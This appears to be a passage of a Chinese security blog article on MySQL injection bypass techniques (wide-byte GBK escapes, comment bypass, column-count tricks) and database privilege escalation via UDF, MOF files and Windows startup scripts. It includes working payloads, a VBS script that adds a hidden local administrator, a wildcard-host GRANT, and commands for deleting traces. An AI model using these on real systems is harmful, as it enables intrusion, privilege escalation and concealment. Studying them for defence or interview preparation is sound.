10 、注释符绕过

在注入时的注释符一般为# --当两者不能用时就不能闭合引号 这里介绍一个奇淫巧技

select 1,2,3 from yz where '1'/1=(1=1)/'1'='1'

(1=1)中就有了判断位为下面的注入打下基础

11 、宽字节绕过

字节注入也是在最近的项目中发现的问题,大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

注:select防止用户自定义的名称和mysql保留字冲突

12 、with rollup

一般结合group by使用

select 1 as test from  yz group by test with rollup limit 1 offset 1;

+------+

| test |

+------+

| NULL |

+------+

13 、无列名注入

给未知列名起别名

select a from (select 1,2,3aunion select * from yz)v;

14 、判断列数绕过

当order by 被过滤后就可以使用into 变量来绕过

select * from yz limit 1,1 into @a,@b,@c;



mysql数据库提权(面试涉及)

UDF提权

何为UDF

UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。

使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。其实除了UDF外,使用者还可以将函数添加为MySQL的固有(内建)函数,固有函数被编译进mysqld服务器中,称为永久可用的,不过这种方式较添加UDF复杂,升级维护都较为麻烦,这里我们不做讨论。无论你使用哪种方法去添加新函数,它们都可以被SQL声明调用,就像 ABS()或SUM()这样的固有函数一样。

UDF利用条件

1.知道数据库的用户和密码;2.mysql可以远程登录;3.mysql有写入文件的权限,即secure_file_priv的值为空。

关于第一点就不用多说了,可以通过拿到webshell之后翻阅文件得到,对于不同情况下有不同得获取方式,这里不再赘述;主要提一下第二三点。

在默认情况下,mysql只允许本地登录,我们知道可以通过navicat去连接数据库(在知道帐号密码的情况下),但是如果只允许本地登录的情况下,即使知道账号密码的情况下也不能够连接上mysql数据库,那么在这种情况下就只有通过拿到本机的高权限rdp登陆远程桌面后连接。

远程连接对应的设置在mysql目录下的/etc/mysql/my.conf文件,对应的设置为bind-address = 127.0.0.1这一行,这是默认情况下的设置,如果我们要允许在任何主机上面都能够远程登录mysql的话,就只要把bind-address改成0.0.0.0即可,即bind-address = 0.0.0.0

光更改配置文件还不够,还需要给远程登陆的用户赋予权限,首先新建一个admin/123456用户,使用%来允许任意ip登录mysql,这样我们就能够通过navicat使用admin/123456用户远程连接到数据库

grant all on *.* to admin@'%' identified by '123456' with grant option;flush privileges;

关于第三点的secure_file_priv参数,这里有三个值,分别为NULL/tmp、空,NULL顾名思义即不允许导入或导出,那么在这种情况下就不能使用sql语句向数据库内写入任何语句,/tmp的意思是只能在/tmp目录下写入文件,这种情况下就需要考虑写入文件到文件夹后能否在网页上/访问连接到这个目录,如果这个值为空,那么就可以通过构造sql语句向mysql数据库下的任何目录写入文件。

这里还有一个需要了解的点就是在mysql5.5版本之前secure_file_priv这个值是默认为空的,那么我们拿到的webshell如果对应的mysql数据库版本在5.5以下的话操作起来就比较方便,在mysql5.5版本之后secure_file_priv这个值是默认为NULL的,即不能够往数据库内写入文件。


MOF提权

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

利用条件

  1. 只使用于windows系统,一般低版本系统才可以用,比如xpserver2003

  2. C:\Windows\System32\wbem\MOF目录有读写权限

  3. 可以找到一个可写目录,写入mof文件

拓展

因为每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果

# 停止 winmgmt 服务
net stop winmgmt

# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\

# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S

# 删除创建的用户
net user hacker /delete

# 重新启动服务
net start winmgmt

启动项提权

windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。

这个地方既然碰到了启动项提权,就总结一下不限于mysql的启动项提权方法。

启动项路径

在windows2003的系统下,启动项路径如下:

C:\Documents and Settings\Administrator\「开始」菜单\程序\启动C:\Documents and Settings\All Users\「开始」菜单\程序\启动

在windows2008的系统下,启动项路径如下:

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

自动化脚本

我们在拿到一个网站的webshell的时候如果想进一步的获得网站的服务器权限,查看服务器上系统盘的可读可写目录,若是启动目录 “C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” 是可读可写的,我们就可以执行上传一个vbs或者bat的脚本进行提权。

这里使用test.vbs添加用户密码,上传到启动目录重启的时候即可自动添加账号密码

set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user test test123 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)

CVE-2016-6663&CVE-2016-6664

CVE-2016-6663是竞争条件(race condition)漏洞,它能够让一个低权限账号(拥有CREATE/INSERT/SELECT权限)提升权限并且以系统用户身份执行任意代码。也就是说,我们可以通过他得到一整个mysql的权限。

CVE-2016-6664是root权限提升漏洞,这个漏洞可以让拥有MySQL系统用户权限的攻击者提升权限至root,以便进一步攻击整个系统。

导致这个问题的原因其实是因为MySQL对错误日志以及其他文件的处理不够安全,这些文件可以被替换成任意的系统文件,从而被利用来获取root权限。可以看到,两个cve分别是用来将低权限的www-data权限提升为mysql权限,然后再将mysql提升为root权限。

CVE-2016-6663

CVE-2016-6664

# SQL注入 # 数据库安全 # web安全 # sql注入面试
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Tiancat 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
bypass
Tiancat LV.4
这家伙太懒了,还未填写个人描述!
  • 13 文章数
  • 34 关注者
【高危】CVE-2021-4034漏洞验证以及修复
2022-01-26
VulnHub-W1R3S: 1渗透学习
2021-12-17
内网攻防学习Day1——常见的内网结构
2021-11-26
文章目录